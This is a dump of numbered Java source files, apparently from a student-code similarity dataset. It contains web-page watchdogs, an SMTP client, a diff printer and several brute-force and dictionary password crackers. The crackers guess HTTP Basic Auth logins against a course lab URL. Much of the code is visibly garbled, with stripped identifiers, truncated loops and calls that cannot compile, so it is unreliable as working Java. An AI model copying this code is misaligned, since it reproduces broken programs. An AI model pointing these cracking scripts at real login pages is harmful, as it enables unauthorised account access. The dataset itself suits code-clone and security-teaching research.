'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; + char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; + + + + + + + while (found==false) { + String password = """"; + + + URL url = new URL(baseURL); + String username=""""; + + + for (int i=0; i(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (found){ + + System.out.println(""Password is: ""+password); + + } + else { + found=true; + if (!timedOut){ + System.out.println(""Tried all combinations, still match.""); + } + } + Date foundDate = new Date(); + foundTime=foundDate.getTime(); + foundTime=(foundTime-startTime); + System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); + } + } +} +" +210.java," + +import java.io.*; +import java.util.*; +import java.*; + +public class storeNewFile +{ + private PrintWriter outputStream= null; + private String filename; + private FileWriter fw; + + public storeNewFile(String fname) + { + try + { + filename = fname; + outputStream=new PrintWriter(new FileOutputStream(filename)); + } + catch(FileNotFoundException e) + { + System.err.println(""File ""+filename+"" was not found""); + } + catch(IOException e) + { + System.err.println(""Error ""); + } + } + public void getStringW(StringWriter sw) + { + outputStream.print(sw.toString()); + } + + public void closeStream() + { + outputStream.write(); + } + + public void translogFile(String result) + { + String fileName = ""TransactionLog.txt""; + try{ + fw=new FileWriter(fileName,true); + fw.write(result); + fw.write('\n'); + fw.print(); + System.out.println(""Saved sucessfully""); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + } +}" +176.java," +public class ImageFile +{ + private String imageUrl; + private int imageSize; + + public ImageFile(String url, int size) + { + imageUrl=url; + imageSize=size; + } + + public String getImageUrl() + { + return imageUrl; + } + + public int getImageSize() + { + return imageSize; + } +} +" +131.java," +import java.io.*; +import java.net.*; + +public class BruteForce +{ + private String myUsername = """"; + private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; + private int NUM_CHARS = 52; + + + public static void main(String args[]) + { + BruteForce bf = new BruteForce(); + } + + + public BruteForce() + { + generatePassword(); + } + + + + + public void generatePassword() + { + int index1 = 0, index2, index3; + + char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', + 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', + 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', + 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', + 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; + + + while(index1 < NUM_CHARS) + { + index2 = 0; + + while(index2 < NUM_CHARS) + { + index3 = 0; + + while(index3 < NUM_CHARS) + { + crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); + index3++; + } + + index2++; + } + + index1++; + } + } + + + + + public void crackPassword(String passwordToCrack) + { + String data, dataToEncode, encodedData; + + try + { + URL url = new URL (urlToCrack); + + + + dataToEncode = myUsername + "":"" + passwordToCrack; + + + + encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); + + URLConnection urlCon = url.openConnection(); + urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); + + InputStream is = (InputStream)urlCon.getInputStream(); + InputStreamReader isr = new InputStreamReader(is); + BufferedReader bf = new BufferedReader(isr); + + + + + { + data = bf.readLine(); + System.out.println(data); + displayPassword(passwordToCrack); + } while (data != null); + } + catch (IOException e) + { } + } + + public void displayPassword(String foundPassword) + { + System.out.println(""\nThe cracked password is : "" + foundPassword); + System.exit(0); + } +} +" +177.java,"import java.io.*; +import java.net.*; +import java.util.*; + + +public class WatchdogThread implements Runnable +{ + private Thread t; + private Vector imageList; + private String mainLink; + private EmailClient email; + private int delay; + + + + + + public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay) + { + t=new Thread(this); + + mainLink = nMainLink; + imageList=images; + email = nEmail; + delay = nDelay; + + t.start(); + } + + public void run() + { + String errors = """"; + + try + { + + Thread.currentThread().sleep(delay); + + + errors = checkHTML(); + errors += checkImages(); + + + if (!errors.equals("""")) + { + String message = "" some changes in the Students Home as follows.\n\n""; + message += errors; + + email.sendMail(""Change in Students Home "", message); + } + + + WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); + } + + catch (InterruptedException e ) + { + System.out.print(); + } + + } + + private String checkHTML() + { + String errors = """"; + String line, line2; + int lineNum = 1; + + try + { + FileReader fRead = new FileReader(""local.txt""); + BufferedReader file = new BufferedReader(fRead); + + URL url=new URL(mainLink); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + + BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + line=file.readLine(); + line2=webpage.readLine(); + + + while ((line != null) && (line2 != null)) + { + + if (!line.equals(line2)) + { + errors += ""At line "" + lineNum + ""\n""; + errors += ""Old:"" + line.trim() + ""\n""; + errors += ""New:"" + line2.trim() + ""\n\n""; + } + + line = file.readLine(); + line2=webpage.readLine(); + lineNum+=1; + } + + + if (line != null) + { + errors += "" the following extra lines at the end of the old file.\n\n""; + + while (line != null) + { + errors += line + ""\n""; + line = file.readLine(); + } + + errors += ""\n""; + } + + + if (line2 != null) + { + errors += "" the following extra lines at the end of the new file.\n\n""; + + while (line2 != null) + { + errors += line2 + ""\n""; + line2 = file.readLine(); + } + + errors += ""\n""; + } + + file.close(); + fRead.close(); + webpage.close(); + connection.disconnect(); + } + catch (IOException ioe) + { + System.out.print(ioe); + } + return errors; + } + + private String checkImages() + { + String errors = """"; + ImageFile image; + HttpURLConnection imgConnection; + URL imgURL; + int contentLen; + + try + { + + + + for (int i=0;i""; + String hostName = ""yallara.cs.rmit.edu.""; + int delay = 86400000; + + try + { + int imgSrcIndex, imgSrcEnd; + String imgLink; + Vector imageList = new Vector(); + HttpURLConnection imgConnection; + URL imgURL; + + + EmailClient email = new EmailClient(sender, recipient, hostName); + + + URL url=new URL(mainLink); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + + BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + + FileWriter fwrite = new FileWriter(""local.txt""); + BufferedWriter writefile = new BufferedWriter(fwrite); + + String line=webpage.readLine(); + + while (line != null) + { + + writefile.write(line,0,line.length()); + writefile.newLine(); + + + line = line.toLowerCase(); + imgSrcIndex=line.indexOf(""src""); + + if(imgSrcIndex!=-1) + { + + imgLink = line.substring(imgSrcIndex+3); + imgSrcIndex=imgLink.indexOf(""\""""); + imgLink = imgLink.substring(imgSrcIndex+1); + imgSrcEnd = imgLink.indexOf(""\""""); + imgLink = imgLink.substring(0,imgSrcEnd); + + + if (imgLink.startsWith(""http"")) + { + imgURL = new URL(imgLink); + imgConnection = (HttpURLConnection) imgURL.openConnection(); + } + + else + { + imgURL = new URL(mainLink); + imgURL = new URL(imgURL, imgLink); + imgConnection = (HttpURLConnection) imgURL.openConnection(); + imgLink = (imgConnection.getURL()).toString(); + } + + + imageList.add(new ImageFile(imgLink, imgConnection.getContentLength())); + imgConnection.disconnect(); + } + + line = webpage.readLine(); + + } + + + writefile.close(); + fwrite.close(); + webpage.close(); + connection.disconnect(); + + + WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); + } + + catch (IOException ioe) + { + + + System.out.println(ioe); + System.out.println(""Please run program again.""); + System.exit(0); + } + + } + +} +" +078.java,"import java.util.*; +import java.net.*; +import java.io.*; + +public class BruteForce +{ + boolean connected = false; + int counter; + String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"", + ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"", + ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"", + ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"", + ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", + ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"", + ""W"",""X"",""Y"",""Z""}; + Vector combinations = new Vector(); + + BruteForce() + { + counter = 0; + this.genCombinations(); + this.startAttack(); + } + + public void startAttack() + { + while(counter ++a) + outfile.print("""" + a + sepchar + b); + else + outfile.print(b); + } + + public static char change_letter(int inserts, int deletes) { + if (inserts == 0) + return 'd'; + else if (deletes == 0) + return 'a'; + else + return 'c'; + } + } + + + public static class NormalPrint extends Base { + + public NormalPrint(Object[] a,Object[] b) { + super(a,b); + } + + + + protected void print_hunk (Diff.change hunk) { + + + analyze_hunk(hunk); + if (deletes == 0 && inserts == 0) + return; + + + print_number_range (',', first0, last0); + outfile.print(change_letter(inserts, deletes)); + print_number_range (',', first1, last1); + outfile.println(); + + + if (deletes != 0) + for (int i = first0; i <= last0; i++) + print_1_line (""< "", file0[i]); + + if (inserts != 0 && deletes != 0) + outfile.println(""---""); + + + if (inserts != 0) + for (int i = first1; i <= last1; i++) + print_1_line (""> "", file1[i]); + } + } + + + public static class EdPrint extends Base { + + public EdPrint(Object[] a,Object[] b) { + super(a,b); + } + + + protected void print_hunk(Diff.change hunk) { + + + analyze_hunk (hunk); + if (deletes == 0 && inserts == 0) + return; + + + print_number_range (',', first0, last0); + outfile.println(change_letter(inserts, deletes)); + + + if (inserts != 0) + { + boolean inserting = true; + for (int i = first1; i <= last1; i++) + { + + if (! inserting) + outfile.println(i - first1 + first0 + ""a""); + inserting = true; + + + + if (""."".equals(file1[i])) + { + outfile.println(""..""); + outfile.println("".""); + + outfile.println(i - first1 + first0 + 1 + ""s/^\\.\\././""); + inserting = false; + } + else + + print_1_line ("""", file1[i]); + } + + + if (inserting) + outfile.println("".""); + } + } + } + + + public static class ContextPrint extends Base { + + protected int context = 3; + + public ContextPrint(Object[] a,Object[] b) { + super(a,b); + } + + protected void print_context_label (String cad, File inf, String label) { + if (label != null) + outfile.println(cad + ' ' + label); + else if (inf.lastModified() > 0) + + outfile.println( + cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified()) + ); + else + + outfile.println( cad + ' ' + inf.getPath()); + } + + public void print_header(String filea,String fileb) { + print_context_label (""***"", new File(filea), filea); + print_context_label (""---"", new File(fileb), fileb); + } + + + private String find_function(Object[] lines, int x) { + return null; + } + + protected void print_function(Object[] file,int x) { + String function = find_function (file0, first0); + if (function != null) { + outfile.print("" ""); + outfile.print( + (function.length() < 40) ? function : function.substring(0,40) + ); + } + } + + protected void print_hunk(Diff.change hunk) { + + + + analyze_hunk (hunk); + + if (deletes == 0 && inserts == 0) + return; + + + + first0 = Math.sqrt(first0 - context, 0); + first1 = Math.sqrt(first1 - context, 0); + last0 = Math.sqrt(last0 + context, file0.length - 1); + last1 = Math.sqrt(last1 + context, file1.length - 1); + + + outfile.print(""***************""); + + + print_function (file0, first0); + + outfile.println(); + outfile.print(""*** ""); + print_number_range (',', first0, last0); + outfile.println("" ****""); + + if (deletes != 0) { + Diff.change next = hunk; + + for (int i = first0; i <= last0; i++) { + + + while (next != null && next.line0 + next.deleted <= i) + next = next.next; + + + + String prefix = "" ""; + if (next != null && next.line0 <= i) + + prefix = (next.inserted > 0) ? ""!"" : ""-""; + + print_1_line (prefix, file0[i]); + } + } + + outfile.print(""--- ""); + print_number_range (',', first1, last1); + outfile.println("" ----""); + + if (inserts != 0) { + Diff.change next = hunk; + + for (int i = first1; i <= last1; i++) { + + + while (next != null && next.line1 + next.inserted <= i) + next = next.next; + + + + String prefix = "" ""; + if (next != null && next.line1 <= i) + + prefix = (next.deleted > 0) ? ""!"" : ""+""; + + print_1_line (prefix, file1[i]); + } + } + } + } + + + public static class UnifiedPrint extends ContextPrint { + + public UnifiedPrint(Object[] a,Object[] b) { + super(a,b); + } + + public void print_header(String filea,String fileb) { + print_context_label (""---"", new File(filea), filea); + print_context_label (""+++"", new File(fileb), fileb); + } + + private void print_number_range (int a, int b) { + + + + if (b < a) + outfile.print(b + "",0""); + else + super.print_number_range(',',a,b); + } + + protected void print_hunk(Diff.change hunk) { + + analyze_hunk (hunk); + + if (deletes == 0 && inserts == 0) + return; + + + + first0 = Math.sqrt(first0 - context, 0); + first1 = Math.sqrt(first1 - context, 0); + last0 = Math.sqrt(last0 + context, file0.length - 1); + last1 = Math.sqrt(last1 + context, file1.length - 1); + + + + outfile.print(""@@ -""); + print_number_range (first0, last0); + outfile.print("" +""); + print_number_range (first1, last1); + outfile.print("" @@""); + + + print_function(file0,first0); + + outfile.println(); + + Diff.change next = hunk; + int i = first0; + int j = first1; + + while (i <= last0 || j <= last1) { + + + + if (next == null || i < next.line0) { + outfile.print(' '); + print_1_line("""", file0[i++]); + j++; + } + else { + + + int k = next.deleted; + while (k-- > 0) { + outfile.print('-'); + print_1_line("""", file0[i++]); + } + + + + k = next.inserted; + while (k-- > 0) { + outfile.print('+'); + print_1_line("""", file1[j++]); + } + + + + next = next.next; + } + } + } + } + + + + static String[] slurp(String file) throws IOException { + BufferedReader rdr = new BufferedReader(new FileReader(file)); + Vector s = new Vector(); + for (;;) { + String line = rdr.readLine(); + if (line == null) break; + s.addElement(line); + } + String[] a = new String[s.size()]; + s.copyInto(a); + return a; + } + + + public static String getDiff(String filea,String fileb,String filec) throws IOException { + DiffPrint.outFile=filec; + String msg=""""; + String[] a = slurp(filea); + String[] b = slurp(fileb); + String [] argv={filea,fileb}; + Diff d = new Diff(a,b); + char style = 'n'; + for (int i = 0; i < argv.length - 2; ++i) { + String f = argv[i]; + if (f.startsWith(""-"")) { + for (int j = 1; j < f.length(); ++j) { + switch (f.charAt(j)) { + case 'e': + style = 'e'; break; + case 'c': + style = 'c'; break; + case 'u': + style = 'u'; break; + } + } + } + } + boolean reverse = style == 'e'; + Diff.change script = d.diff_2(reverse); + if (script == null) + msg=""The text the has not changed.\n""; + else { + Base p; + msg=""The text the has changed.\n The Diff Output is : \n\n""; + switch (style) { + case 'e': + p = new EdPrint(a,b); break; + case'c': + p = new ContextPrint(a,b); break; + case 'u': + p = new UnifiedPrint(a,b); break; + default: + p = new NormalPrint(a,b); + } + p.print_header(filea,fileb); + p.print_script(script); + } + return msg; + } +} +" +187.java," + + + +import java.net.*; +import java.io.*; +import java.util.Date; + +public class MyMail implements Serializable +{ + + + + public static final int SMTPPort = 25; + + + public static final char successPrefix = '2'; + + + public static final char morePrefix = '3'; + + + public static final char failurePrefix = '4'; + + + + + private static final String CRLF = ""\r\n""; + + + private String mailFrom = """"; + + + private String mailTo = """"; + + + private String messageSubject = """"; + + + private String messageBody = """"; + + + private String mailServer = """"; + + + public MyMail () + { + + super(); + } + + + public MyMail ( String serverName) + { + + super(); + + + mailServer = serverName; + } + + + public String getFrom() + { + return mailFrom; + } + + + public String getTo() + { + return mailTo; + } + + + public String getSubject() + { + return messageSubject; + } + + + public String getMessage() + { + return messageBody; + } + + + public String getMailServer() + { + return mailServer; + } + + + public void setFrom( String from ) + { + + mailFrom = from; + } + + + public void setTo ( String To ) + { + + mailTo = To; + } + + + public void setSubject ( String subject ) + { + + messageSubject = subject; + } + + + public void setMessage ( String msg ) + { + + messageBody = msg; + } + + + public void setMailServer ( String server ) + { + + mailServer = server; + } + + + private boolean responseValid( String response ) + { + + + + if (response.indexOf("" "") == -1) + + return false; + + + String cad = response.substring( 0, response.indexOf("" "")); + + + cad = cad.toUpperCase(); + + + if (( cad.charAt(0) == successPrefix ) || + ( cad.charAt(0) == morePrefix ) ) + + return true; + else + + return false; + } + + + public void sendMail() + { + try { + String response; + + + Socket mailSock = new Socket (mailServer, SMTPPort); + + + BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); + PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); + + + System.out.println(""1""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + try + { + InetAddress addr = InetAddress.getLocalHost(); + + String localHostname = addr.getHostName(); + + pout.print (""HELO "" + localHostname + CRLF); + } + catch (UnknownHostException uhe) + { + + pout.print (""HELO myhostname"" + CRLF); + } + + + pout.flush(); + + + System.out.println(""2""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""MAIL From:<"" + mailFrom + "">""); + + + pout.flush(); + + + System.out.println(""3""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""RCPT :<"" + mailTo + "">""); + + + pout.flush(); + + + System.out.println(""4""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""DATA""); + + + pout.flush(); + + + System.out.println(""5""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + + pout.println (""From: "" + mailFrom); + pout.println ("": "" + mailTo); + pout.println (""Subject: "" + messageSubject); + + + pout.println (); + + + pout.println (messageBody); + + + pout.println ("".\n\r""); + + + pout.flush(); + + + System.out.println(""6""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""QUIT""); + + + pout.flush(); + + + mailSock.close(); + } + catch (IOException ioe) + { + System.out.println(ioe.getMessage()); + } + } + +}" +103.java," + +import java.io.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class BruteForce +{ + public BruteForce() + {} + + public boolean fetchURL(String urlString,String username,String password) + { + StringWriter = new StringWriter(); + PrintWriter pw = new PrintWriter(); + try{ + URL url=new URL(urlString); + String userPwd= username+"":""+password; + + + + + + + BASE64Encoder encoder = new BASE64Encoder(); + String encodedStr = encoder.encode (userPwd.getBytes()); + System.out.println(""Original String = "" + userPwd); + System.out.println(""Encoded String = "" + encodedStr); + + HttpURLConnection huc=(HttpURLConnection) url.openConnection(); + huc.setRequestProperty( ""Authorization"","" ""+encodedStr); + InputStream content = (InputStream)huc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + pw.println (line); + System.out.println(""*************************************************""); + System.out.println(sw.toString()); + }return true; + } catch (MalformedURLException e) { + pw.println (""Invalid URL""); + return false; + } catch (IOException e) { + pw.println (""Error URL""); + return false; + } + + } + + public void getPassword() + { + String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz""; + String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; + String login=""""; + String pwd="" ""; + + startTime=System.currentTimeMillis(); + for(int oneChar=0;oneChar(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + } + + String password = """"; + + + URL url = new URL(baseURL); + String username=""""; + password = dictionary.elementAt(count).toString(); + + + String authString = username+"":""+password; + String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); + System.out.print(""authString is: ""+authString); + + URLConnection urlConnect=url.openConnection(); + + + urlConnect.setRequestProperty(""Authorization"","" ""+encoding); + + String responseCode = urlConnect.getHeaderField(0); + System.out.print("" Response is: ""); + System.out.println(responseCode); + + if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) { + found=true; + } + if (found){ + + System.out.println(""Password is: ""+password); + + } + + Date foundDate = new Date(); + foundTime=foundDate.getTime(); + foundTime=(foundTime-startTime); + System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); + count=count+1; + } + } + + + + + + public static Vector readWords() { + String nextWord; + String lastWord=""""; + Vector dict=new Vector(); + try { + BufferedReader in = new BufferedReader(new FileReader(""words.txt"")); + while ((nextWord = in.readLine())!=null) { + + if (nextWord.length()>3) { + nextWord=nextWord.substring(0,3); + } + + if (!lastWord.equals(nextWord) && nextWord.length()>0){ + lastWord = nextWord; + + + dict.addElement(nextWord); + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + } + } + System.out.println(""File successfully loaded""); + } + catch (FileNotFoundException e1) { + System.out.println(""This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting.""); + System.exit(0); + } + catch (IOException e2) { + System.out.println(""IO Exception, exiting""); + System.exit(0); + } + finally { + try { + if (null!=in) { + in.get(); + } + } + catch (IOException e3) {} + } + return dict; + } +} +" +070.java," + +import java.misc.BASE64Encoder; +import java.misc.BASE64Decoder; +import java.io.*; +import java.net.*; +import java.util.*; + + + +public class Dictionary { + + public Dictionary(String url, String dictionaryFile) { + try{ + this.url = url; + this.dictionaryPath = dictionaryFile; + InputStream fis = new FileInputStream(this.dictionaryPath); + dict = new BufferedReader(new InputStreamReader(fis)); + + }catch(IOException ioe){ + System.out.println(""Error opening dictionary file:\n"" +ioe); + } + } + + + + private String url = null; + + private String dictionaryPath = null; + + private BufferedReader dict = null; + + private int attempts = 0; + + private int passwordSize = 3; + + public void setPasswordSize(int size){ + this.passwordSize = size; + } + + public String getNextPassword()throws IOException{ + + String line = dict.readLine(); + + while(line!=null&&line.length()!=this.passwordSize ) + line = dict.readLine(); + + return line; + } + + public String crackPassword(String user) throws IOException, MalformedURLException{ + URL url = null; + URLConnection urlConnection = null; + String outcome = null; + String authorization = null; + String password = null; + BASE64Encoder b64enc = new BASE64Encoder(); + InputStream content = null; + BufferedReader in = null; + + + while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){ + + url = new URL(this.url); + urlConnection = url.openConnection(); + urlConnection.setDoInput(true); + urlConnection.setDoOutput(true); + + + urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1""); + urlConnection.setRequestProperty(""Host"", url.getHost()); + password = getNextPassword(); + if(password == null) + return null; + System.out.print(password); + authorization = user + "":"" + password; + + + urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes())); + + +outcome = urlConnection.getHeaderField(null); + + + + this.attempts ++; + urlConnection = null; + url = null; + + if(this.attempts%51 == 0) + for(int b = 0; b < 53;b++) + System.out.print(""\b \b""); + else + System.out.print(""\b\b\b.""); + + + } + return password; + } + + public int getAttempts(){ + return this.attempts; + } + public static void main (String[] args) { + if(args.length != 3){ + System.out.println(""usage: java attacks.Dictionary ""); + System.exit(1); + } + + Dictionary dictionary1 = new Dictionary(args[0], args[2]); + try{ + Calendar cal1=null, cal2=null; + cal1 = Calendar.getInstance(); + System.out.println(""Cracking started at: "" + cal1.getTime().toString()); + String password = dictionary1.crackPassword(args[1]); + if(password != null) + System.out.println(""\nPassword is: ""+password); + else + System.out.println(""\nPassword could not retrieved!""); + cal2 = Calendar.getInstance(); + System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); + Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); + System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); + System.out.println(""Total attempts : "" + dictionary1.getAttempts()); + + }catch(MalformedURLException mue){ + mue.printStackTrace(); + } + + catch(IOException ioe){ + ioe.printStackTrace(); + } + } +}" +245.java," + + + + + + + + + + + + + + + +import java.*; +import java.io.*; +import java.text.*; +import java.net.*; +import java.net.URL; +import java.net.URLConnection; +import java.util.*; + +public class WatchDog { + + public static void main(String[] args) throws IOException { + + + String host = ""http://www.cs.rmit.edu./students/""; + + String outFilename = null; + String diffFilename = null; + + + String email = ""@cs.rmit.edu.""; + String subject = null; + String message = ""msg""; + String mutt = null; + + + List currentList = new ArrayList(); + List previousList = new ArrayList(); + List diffList = new ArrayList(); + String line = null; + String previousLine = null; + String diffLine = null; + + + int sleepTime = 1000 * 60 * 60 * 24; + + + SimpleDateFormat format = new SimpleDateFormat(""yyyyMMddkmm""); + Date currentDate = null; + + int c=0; + + { + try { + + URL url = new URL(host); + HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); + InputStream webIn = httpConnect.getInputStream(); + BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) ); + + + + currentDate = null; + currentDate = new java.util.Date(); + String dateString = format.format(currentDate); + + + outFilename = ""watch_"" + dateString; + File outputFile = new File(outFilename); + FileWriter out = new FileWriter(outputFile); + + + diffFilename = ""diff_"" + dateString; + File diffOutputFile = new File(diffFilename); + FileWriter diffOut = new FileWriter(diffOutputFile); + + line = """"; + + + while (( line = webReader.readLine()) != null ) { + currentList.add(line + ""\n""); + } + + webReader.close(); + + Iterator iter = currentList.iterator(); + + + line = """"; + previousLine = """"; + diffLine = """"; + + + int l=0; + int d=0; + + while (iter.hasNext()) { + line = String.valueOf(iter.next()); + out.write(line); + + + if (!previousList.isEmpty()) { + try { + previousLine = String.valueOf(previousList.get(l)); + + + if (line.compareTo(previousLine)==0) { + } else { + + diffLine = ""Line "" + (l+1) + "" has changed : "" + line; + diffOut.write(diffLine); + d++; + } + + } catch (Exception e) { + + + diffLine = ""Line "" + (l+1) + "" has been added: "" + line + "" \n""; + diffOut.write(diffLine); + d++; + } + } + + l++; + } + + + out.close(); + diffOut.close(); + + + previousList.clear(); + previousList.addAll(currentList); + currentList.clear(); + diffList.clear(); + + if (d>0) { + + subject = ""WatchDog_"" + dateString; + mutt = ""mutt -a "" + diffFilename + "" -s "" + subject + "" "" + email; + + System.out.println(""The webpage has changed.""); + Runtime rt = Runtime.getRuntime(); + rt.exec(mutt); + + + + System.out.println(""Email sent "" + email + "" at "" + dateString); + + } else if (c>0) { + + System.out.println(""Webpage checked at "" + dateString + "" and changes were found""); + } + + } catch(MalformedURLException e) { + System.out.println(""Opps, the URL "" + host + "" is not valid.""); + System.out.println(""Please check the URL and try again.""); + System.exit(0); + + } catch(IOException e) { + System.out.println("", 't connect "" + host + "".""); + System.out.println(""Please check the URL and try again.""); + System.out.println(""Other possible causes include website is currently unavailable""); + System.out.println("" I have a problem writing .""); + System.exit(0); + + } + + + try { + Thread.sleep(sleepTime); + } catch (Exception e) { + + } + + c++; + } while(true); + } +}" +142.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class Dictionary +{ + + public Dictionary() + { + } + + public static void main(String[] args) + { + try + { + + if (args.length != 3 ) + { + System.out.println(""Usage: java BruteForce ""); + System.exit(1); + } + + timeStart = System.currentTimeMillis(); + + String strPass = applyDictionary (args[0], args[1], args [2]); + + timeEnd = System.currentTimeMillis(); + + System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); + System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); + + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + static String applyDictionary (String URL, String UserName, String strUrlDictionary) + { + String strPass = """"; + + try + { + FileInputStream fIn = new FileInputStream ( strUrlDictionary ); + DataInputStream dtIn = new DataInputStream ( fIn ); + + + + + System.out.print(""\n\n\n Applying Dictionary Attack: ""); + + while (dtIn.available() > 0) + { + strPass = dtIn.readLine(); + + if (strPass.length() != 3) + continue; + + + + + System.out.print(""\b\b\b"" + strPass ); + + boolean boolResult = applyPass ( URL, UserName, strPass ); + + if (boolResult) + { + dtIn.close(); + fIn.close(); + return strPass; + } + } + + dtIn.close(); + fIn.close(); + } + catch (Exception e) + { + e.printStackTrace(); + } + + return ""Could not find match""; + } + + private static boolean applyPass (String strURL, String strUserName, String strPass ) + { + BASE64Encoder myEncoder = new BASE64Encoder (); + + try + { + String str = strUserName + "":"" + strPass; + + String strEncode = myEncoder.encode(str.getBytes()); + + URL url = new URL (strURL); + + URLConnection urlConn = url.openConnection(); + + urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); + + urlConn.connect(); + + String strReply = urlConn.getHeaderField(0); + + if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) + { + return true; + } + } + catch (Exception e) + { + e.printStackTrace (); + } + + return false; + } +} +" +003.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.net.Authenticator; + + +public class BruteForce +{ + + private String result =""""; + + public class customAuthenticator extends Authenticator { + public customAuthenticator(String passwd) + { + this.pass = passwd; + } + + protected PasswordAuthentication getPasswordAuthentication() + { + return new PasswordAuthentication("""",pass.toCharArray()); + } + public String pass; + } + + public BruteForce() { + java.util.Date d = java.util.Calendar.getInstance().getTime(); + System.out.println(d.toString()); + char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', + 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', + 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; + + String record = null; + + + + String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + char pass[] = {'x','x','x'}; + int count=1; + String passwd=new String(); + HttpURLConnection connection = null; + URL u = null; + + try + { + u = new URL(url); + + } + catch (MalformedURLException e) + { + } + + for(int a=0;a> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); + tmp = tmp + baseTable.charAt( pos ); + + pos = (byte) (((bytes[i+1] & 15) << 2) + 